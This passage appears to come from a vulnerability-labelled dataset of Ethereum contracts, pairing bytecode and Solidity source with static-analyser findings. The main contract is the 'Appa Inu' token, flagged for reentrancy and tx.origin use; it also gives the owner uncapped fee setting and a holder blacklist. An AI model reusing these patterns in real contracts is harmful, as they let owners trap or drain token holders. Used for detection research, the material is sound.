ffffffffff821115611667576116666118b5565b5b602082029050919050565b600082825260208201905092915050565b600061168e82611773565b915061169983611773565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116ce576116cd611828565b5b828201905092915050565b60006116e482611773565b91506116ef83611773565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561172857611727611828565b5b828202905092915050565b600061173e82611773565b915061174983611773565b92508282101561175c5761175b611828565b5b828203905092915050565b60008115159050919050565b6000819050919050565b611786826118f3565b810181811067ffffffffffffffff821117156117a5576117a46118b5565b5b80604052505050565b60006117b982611773565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117ec576117eb611828565b5b600182019050919050565b600061180282611773565b915061180d83611773565b92508261181d5761181c611857565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f76657269666965722d6261642d696e7075740000000000000000000000000000600082015250565b7f70616972696e672d6d756c2d6661696c65640000000000000000000000000000600082015250565b7f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400600082015250565b7f70616972696e672d6c656e677468732d6661696c656400000000000000000000600082015250565b7f70616972696e672d6164642d6661696c65640000000000000000000000000000600082015250565b7f70616972696e672d6f70636f64652d6661696c65640000000000000000000000600082015250565b611a0381611773565b8114611a0e57600080fd5b5056fea26469706673582212206cc8efe0873986c1ffcb4cfc23b9f392c328f88c088edb62744e840555a30e0064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 1,619 |
0xfe841dae93ddc1803f5a405d4cafb149ea434936
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AppaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Appa Inu";
string private constant _symbol = "APPA";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 3;
//Sell Fee
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x2562b5cef1C56E17B7BC1EcD067Ba1640bbE2B19);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 20000000 * 10**9; //2.0
uint256 public _maxWalletSize = 25000000 * 10**9; //2.5
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610561578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b806395d89b41146104c457806398a5c315146104f1578063a9059cbb14610511578063bfd792841461053157600080fd5b80638da5cb5b116100d15780638da5cb5b1461045b5780638eb59a5f146104795780638f70ccf71461048e5780638f9a55c0146104ae57600080fd5b8063715018a61461041057806374010ece146104255780637d1db4a51461044557600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037a5780636b9990531461039a5780636d8aa8f8146103ba57806370a08231146103da57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a578063658d4b7f1461035a57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102715780631694505e1461029157806318160ddd146102c957806323b872dd146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c5f565b6105fc565b005b34801561020a57600080fd5b506040805180820190915260088152674170706120496e7560c01b60208201525b6040516102389190611da6565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bcb565b6106a9565b6040519015158152602001610238565b34801561027d57600080fd5b506101fc61028c366004611d58565b6106c0565b34801561029d57600080fd5b50600c546102b1906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102d557600080fd5b506005545b604051908152602001610238565b3480156102f457600080fd5b50610261610303366004611b57565b6106f5565b34801561031457600080fd5b506102da60105481565b34801561032a57600080fd5b5060405160098152602001610238565b34801561034657600080fd5b50600d546102b1906001600160a01b031681565b34801561036657600080fd5b506101fc610375366004611b97565b61075e565b34801561038657600080fd5b506101fc610395366004611bf6565b6107b3565b3480156103a657600080fd5b506101fc6103b5366004611ae7565b610867565b3480156103c657600080fd5b506101fc6103d5366004611d26565b6108b2565b3480156103e657600080fd5b506102da6103f5366004611ae7565b6001600160a01b031660009081526001602052604090205490565b34801561041c57600080fd5b506101fc6108fa565b34801561043157600080fd5b506101fc610440366004611d40565b610930565b34801561045157600080fd5b506102da600e5481565b34801561046757600080fd5b506000546001600160a01b03166102b1565b34801561048557600080fd5b506101fc61095f565b34801561049a57600080fd5b506101fc6104a9366004611d26565b6109aa565b3480156104ba57600080fd5b506102da600f5481565b3480156104d057600080fd5b506040805180820190915260048152634150504160e01b602082015261022b565b3480156104fd57600080fd5b506101fc61050c366004611d40565b6109f2565b34801561051d57600080fd5b5061026161052c366004611bcb565b610a21565b34801561053d57600080fd5b5061026161054c366004611ae7565b600a6020526000908152604090205460ff1681565b34801561056d57600080fd5b506101fc610a2e565b34801561058257600080fd5b506102da610591366004611b1f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611d40565b610a74565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa3565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611df9565b60405180910390fd5b60005b81518110156106a5576001600a600084848151811061066157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069d81611f0c565b915050610632565b5050565b60006106b6338484610bbe565b5060015b92915050565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161062690611df9565b600691909155600755565b6000610702848484610ce2565b610754843361074f85604051806060016040528060288152602001611f69602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112b4565b610bbe565b5060019392505050565b6000546001600160a01b031633146107885760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107dd5760405162461bcd60e51b815260040161062690611df9565b60005b838110156108605761084d3386868481811061080c57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108219190611ae7565b85858581811061084157634e487b7160e01b600052603260045260246000fd5b905060200201356112ee565b508061085881611f0c565b9150506107e0565b5050505050565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161062690611df9565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161062690611df9565b61092e60006113d4565b565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062690611df9565b600e55565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161062690611df9565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109d45760405162461bcd60e51b815260040161062690611df9565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b815260040161062690611df9565b601055565b60006106b6338484610ce2565b6000546001600160a01b03163314610a585760405162461bcd60e51b815260040161062690611df9565b30600090815260016020526040902054610a7181611424565b50565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062690611df9565b600f55565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062690611df9565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600060046000610b4a6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b7b816113d4565b600160046000610b936000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610da85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610e0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6001600160a01b03821660009081526004602052604090205460ff16158015610e4c57506001600160a01b03831660009081526004602052604090205460ff16155b1561118f57600d54600160a01b900460ff16610eaa5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f7420796574207374617274656400006044820152606401610626565b600e54811115610efc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f3e57506001600160a01b0382166000908152600a602052604090205460ff16155b610f965760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b600d546001600160a01b0383811691161461110457600d546001600160a01b038481169116148015610fd15750600d54600160b81b900460ff165b1561107e57326000908152600260205260409020544290610ff39060b4611e9e565b10801561102357506001600160a01b03821660009081526002602052604090205442906110219060b4611e9e565b105b61107e5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b6064820152608401610626565b600f54816110a1846001600160a01b031660009081526001602052604090205490565b6110ab9190611e9e565b106111045760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b3060009081526001602052604090205460105481108015906111265760105491505b80801561113d5750600d54600160a81b900460ff16155b80156111575750600d546001600160a01b03868116911614155b801561116c5750600d54600160b01b900460ff165b1561118c5761117a82611424565b47801561118a5761118a47611628565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d157506001600160a01b03831660009081526004602052604090205460ff165b806112035750600d546001600160a01b038581169116148015906112035750600d546001600160a01b03848116911614155b156112105750600061127e565b600d546001600160a01b03858116911614801561123b5750600c546001600160a01b03848116911614155b15611247576006546008555b600d546001600160a01b0384811691161480156112725750600c546001600160a01b03858116911614155b1561127e576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112ae84848484611662565b50505050565b600081848411156112d85760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611ef5565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260019091529182205461133f9184906112b4565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461136e9083611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c29086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061144f60646114498460556116e9565b90611768565b9050600061145d8284611ef5565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114a557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f957600080fd5b505afa15801561150d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115319190611b03565b8160018151811061155257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115789130911687610bbe565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b1908790600090869030904290600401611e2e565b600060405180830381600087803b1580156115cb57600080fd5b505af11580156115df573d6000803e3d6000fd5b5050505060006115f883476117aa90919063ffffffff16565b90506116138461160e606461144985600f6116e9565b6117ec565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a5573d6000803e3d6000fd5b80611678576116728484846112ee565b506112ae565b6112ae8484846118a5565b6000806116908385611e9e565b9050838110156116e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b9392505050565b6000826116f8575060006106ba565b60006117048385611ed6565b9050826117118583611eb6565b146116e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b60006116e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119aa565b60006116e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b4565b600c546118049030906001600160a01b031684610bbe565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561186c57600080fd5b505af1158015611880573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108609190611d79565b60006118b184836119d8565b90506119198260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112b49092919063ffffffff16565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546119489082611683565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061199c9085815260200190565b60405180910390a350505050565b600081836119cb5760405162461bcd60e51b81526004016106269190611da6565b5060006112e58486611eb6565b6000806119f56064611449600854866116e990919063ffffffff16565b30600090815260016020526040902054909150611a129082611683565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a639085815260200190565b60405180910390a3611a7583826117aa565b949350505050565b8035611a8881611f53565b919050565b60008083601f840112611a9e578081fd5b50813567ffffffffffffffff811115611ab5578182fd5b6020830191508360208260051b8501011115611ad057600080fd5b9250929050565b80358015158114611a8857600080fd5b600060208284031215611af8578081fd5b81356116e281611f53565b600060208284031215611b14578081fd5b81516116e281611f53565b60008060408385031215611b31578081fd5b8235611b3c81611f53565b91506020830135611b4c81611f53565b809150509250929050565b600080600060608486031215611b6b578081fd5b8335611b7681611f53565b92506020840135611b8681611f53565b929592945050506040919091013590565b60008060408385031215611ba9578182fd5b8235611bb481611f53565b9150611bc260208401611ad7565b90509250929050565b60008060408385031215611bdd578182fd5b8235611be881611f53565b946020939093013593505050565b60008060008060408587031215611c0b578081fd5b843567ffffffffffffffff80821115611c22578283fd5b611c2e88838901611a8d565b90965094506020870135915080821115611c46578283fd5b50611c5387828801611a8d565b95989497509550505050565b60006020808385031215611c71578182fd5b823567ffffffffffffffff80821115611c88578384fd5b818501915085601f830112611c9b578384fd5b813581811115611cad57611cad611f3d565b8060051b604051601f19603f83011681018181108582111715611cd257611cd2611f3d565b604052828152858101935084860182860187018a1015611cf0578788fd5b8795505b83861015611d1957611d0581611a7d565b855260019590950194938601938601611cf4565b5098975050505050505050565b600060208284031215611d37578081fd5b6116e282611ad7565b600060208284031215611d51578081fd5b5035919050565b60008060408385031215611d6a578182fd5b50508035926020909101359150565b600080600060608486031215611d8d578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd257858101830151858201604001528201611db6565b81811115611de35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e7d5784516001600160a01b031683529383019391830191600101611e58565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb157611eb1611f27565b500190565b600082611ed157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef057611ef0611f27565b500290565b600082821015611f0757611f07611f27565b500390565b6000600019821415611f2057611f20611f27565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122080f6f2d6889114afb01ad57a6ee657425148724b1cd6a4fa3fc070506d94538664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,620 |
0xcd55262c3ea354a58661597f71037d5fa26b72bd
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
